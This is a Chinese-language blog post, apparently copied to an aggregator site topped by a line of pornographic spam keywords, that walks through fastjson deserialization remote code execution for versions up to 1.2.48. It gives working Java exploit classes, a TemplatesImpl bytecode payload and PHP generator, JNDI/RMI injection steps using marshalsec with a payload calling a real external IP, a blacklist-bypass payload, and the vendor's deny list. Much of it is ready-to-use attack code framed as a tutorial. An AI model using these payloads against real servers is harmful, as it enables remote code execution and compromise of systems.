日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

fastjson反序列化漏洞原理及利用

發布時間:2023/11/30 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 fastjson反序列化漏洞原理及利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

重要漏洞利用poc及版本

我是從github上的參考中直接copy的exp,這個類就是要注入的類

import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit() { try{ // 要執行的命令 String commands = "calc.exe"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }

網上經常分析的17年的一個遠程代碼執行漏洞

適用范圍 版本 <= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}

FastJson最新爆出的繞過方法

適用范圍 版本 <= 1.2.48

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

預備知識

使用spring boot來搭建本次的環境,這樣對java的版本和fastjson版本的修改十分的輕松,選取的依賴如下

使用的是fastjson 1.2.24版本

寫一個像javabean一樣作用的類

這里直接用參考的一篇freebuf上的代碼了,作用很簡單,設置了age,username的設置和讀取,secret的讀取

package com.fastjson.demo; class Demo2User { private int age; public String username; private String secret; public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getSecret() { return secret; } @Override public String toString() { return this.age + "," + this.username + "," + this.secret; } }

fastjson的工作形式

fastjson的功能就是將json格式轉換為類、字符串等供下一步代碼的調用,或者將類、字符串等數據轉換成json數據進行傳輸,有點類似序列化的操作

首先介紹下序列化操作和反序列化操作需要的函數

函數作用
JSON.toJSONString(Object)將對象序列化成json格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName)將對象序列化成json格式,并且記錄了對象所屬的類的信息
JSON.parse(Json)將json格式返回為對象(但是反序列化類對象沒有@Type時會報錯)
JSON.parseObject(Json)返回對象是com.alibaba.fastjson.JSONObject類
JSON.parseObject(Json, Object.class)返回對象會根據json中的@Type來決定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField);會把Json數據對應的類中的私有成員也給還原

對應測試的例子,代碼如下

public class Demo2test1 { public static void main(String[] args){ Demo2User demo2User = new Demo2User(); demo2User.setAge(10); demo2User.setUsername("sijidou"); String ser1 = JSON.toJSONString(demo2User); System.out.println(ser1); String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName); System.out.println(ser2); System.out.println("==========完美的分割線============"); Demo2User demo2User1 = (Demo2User) JSON.parse(ser2); System.out.println(demo2User1); Object demo2User2 = JSON.parseObject(ser2); System.out.println(demo2User2.getClass().getName()); Object demo2User3 = JSON.parseObject(ser2, Object.class); System.out.println(demo2User3); Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField); System.out.println(demo2User4); } }

可以從上面簡單的函數介紹中看出,對于序列化成json格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便

而從json反序列回來,一般用JSON.parseObject()來實現

漏洞利用

對于?fastjson版本 <= 1.2.24的情況,利用思路主要有2種

  • 通過觸發點JSON.parseObject()這個函數,將json中的類設置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通過特意構造達到命令執行
  • 通過JNDI注入

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl類,而這個類有一個字段就是_bytecodes,有部分函數會根據這個_bytecodes生成java實例,這就達到fastjson通過字段傳入一個類,再通過這個類被生成時執行構造函數。

首選準備好poc,也就是之后會裝到_bytecodes里面的內容,本地測試是windows系統,所以直接彈計算器,用java運行一下,就會生成poc.class文件

package com.fastjson.demo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class poc extends AbstractTranslet { public poc() throws IOException { Runtime.getRuntime().exec("calc.exe"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { poc t = new poc(); } }

拿到這個文件,將其內容進行base64編碼,我拿vulhub上用php寫的exploit.php改了改

<?php $bytes = file_get_contents('poc.class'); $json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'; echo $json;

同目錄下運行

準備下接受的代碼,我從vulhub上的fastjson項目進行修改的,使代碼更加簡潔,邏輯很簡單從post的body中的數據進行fastjson的序列化

public class Demo3{ public void init() { get("/", (req, res) -> "Hello World"); post("/", (request, response) -> { String data = request.body(); JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); return "122"; }); } public static void main(String[] args) { Demo3 i = new Demo3(); i.init(); } }

運行下能夠成功觸發計算器

漏洞分析

debug跟蹤下堆棧看看發生了什么

最先肯定是傳入點JSON.parseObject(data, Feature.SupportNonPublicField);接口,這個漏洞利用方法必須要存在Feature.SupportNonPublicField設置(即允許private對象傳入)

接下來會到JSON類中,發現JSON.parseObject()其實是調用了JSON.parse()

下一步會進到這個函數里,是對可控長度變量的分析,這里也就是Feature.SupportNonPublicField的開啟識別

調用parse(String text, int features),繼續執行parser.parse()接口

之后進入DeafultJSONParser.java通過switch判斷,進入到LBRACE中

繼續跟進會調用deserializer.deserialze(this, clazz, fieldName)

進入了JavaBeanDeserializer.java中,這段主要是進行反序列化操作了

之后會進入到DefaultFieldDeserializer.java中調用setValue來設置參數了

設置參數是會調用FieldDeserializer.java中的setValue,已經可以看到Method方法,標志著這里觸發反射

前面的參數會不滿足if(method != null)的判斷,到outputProperties的時候,因為它是個類,存在method,于是進入if分支

最終到了觸發點,invoke

單步跟蹤2次,是對_bytecodes中的base64,對應的.class文件中的類進行還原,然后觸發構造函數中的代碼執行,觸發計算器

這里單步跟蹤2次時候沒有任何反應,之后發現是沒對com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類沒進行下載,并且沒有進行下斷點.....

那么在這個點繼續跟進,首先仔細看上面反射調用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

進TemplatesImpl類里面對getOutputProperties()下斷點

繼續跟蹤newTransformer()方法,看名字就是新生成一個Transformer

在第486行調用了getTransletInstance()方法,之后進入getTransletInstance()方法中

因為我們精心構造的exp里面沒有__class成員變量,所以會觸發defineTransletClasses()方法,跟進

進入后是對 _bytecodes字段進行base64解碼后還原這個class,之后就出來回到了getTransletInstance()

可以看到455行的translet被賦值成class.com.fastjson.demo.poc也就是我們構造的的poc類,在456行進行初始化的時候,觸發代碼執行

通過jndi注入

jndi是一個Java命令和目錄接口,舉個例子,通過jndi進行數據庫操作,無需知道它數據庫是mysql還是ssql,還是MongoDB等,它會自動識別。

當然rmi也可以通過jndi實現,rmi的作用相當于在服務器上創建了類的倉庫的api,客戶端只用帶著參數去請求,服務器進行一系列處理后,把運算后的參數還回來。

這里漏洞利用要明確思路:

攻擊者在本地啟一個rmi的服務器,上面掛上惡意的payload

讓被攻擊的目標反序列化特定的類,這個類最終會調用lookup()函數,導致jndi接口指向我們的rmi服務器上的惡意payload

利用方法

在本地掛上惡意代碼執行的類,本地復現到了實際中又因為要公網ip所以要重新部署,所以我這里就直接把惡意的Exp和rmi服務器都放在vps上了

準備Exp

import java.lang.Runtime; import java.lang.Process; public class Exp { public Exp() { try{ // 要執行的命令 String commands = "calc"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exp e = new Exp(); } }

編譯一下

javac Exp.java

在本地啟動rmi服務器,這里推薦github上的一個項目marshalsec

https://github.com/mbechler/marshalsec

需要用maven進行生成jar包,進入marshalsec目錄后

git clone https://github.com/mbechler/marshalsec.git cd marshalse mvn clean package -Dmaven.test.skip=true

之后使用過的是這個包,可以移動到仍意目錄都可以

接下來就是啟動rmi服務器了,這里要做2個步驟

第一使用python的SimpleHTTPServer模塊在剛剛編譯好的Exp.class目錄下開一個web服務

python -m SimpleHTTPServer 8000

訪問下網頁是能看到的

之后利用marshalsec,啟動rmi服務,再開一個shell

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://mi0.xyz:8000/#Exp

萬事已經準備好了,接下來只要在被攻擊的目標(這里是本機)發送python進JSON.parse()就會觸發

import com.alibaba.fastjson.JSON; public class poc { public static void main(String[] args) throws Exception { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}"; JSON.parse(payload); } }

成功彈出計算器

之前一直嘗試不成功,改了下jre的版本為1.8_102能夠觸發

1.2.25之后修復方案

在1.2.25之后,在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)過濾的函數

注意其中的這一段,如果類的名字開頭在deny名單里面,就直接拋出錯誤了

看看denyList的名單

private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

最新fastjson繞過黑名單REC

  • 此次漏洞危害范圍是fastjson?<= 1.2.48

vps上的準備方法和上面講到的jndi注入是一樣的,唯一的區別在于發送的payload不同,以下payload可以繞過黑名單校驗

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

實現原理是利將JdbcRowSetImpl類加入到mappings的緩存,在JdbcRowSetImpl類進入黑名單過濾之前,fastjson會先看緩存里面有沒有這個類,有的話,就直接返回了。也就是沒有走進黑名單過濾,就結束了check

我們把上面的payload發送到fastjson?1.2.25版本中,走到了checkAutoType()的位置

進入函數,很明顯java.lang.Class不在黑名單內

順利通過

接下來會加載java.lang.Class類

跟進之后,在這里把JdbcRowSetImpl類付給了objVal變量

在這里將剛剛objVal的值賦值給了strVal

接下來調用了loadClass

跟進loadClass,首先查看JdbcRowSetImpl類是不是在mappings中

這里當然是不在的,因此把JdbcRowSetImpl類加入到該mappings中

之后在回到對JdbcRowSetImpl類的檢驗地方了

跟進進入,到這里會根據類名從mapping中取出對象,很明顯,剛剛是把JdbcRowSetImpl類是加入到mappings中的,因此是可以取出來

之后會根據取出的值是否為null進行判斷,通過下圖,已經看到在黑名單前,就返回了

之后可以看到類JdbcRowSetImpl已經過了該限制了

打一波,成功觸發

參考鏈接

總結

以上是生活随笔為你收集整理的fastjson反序列化漏洞原理及利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。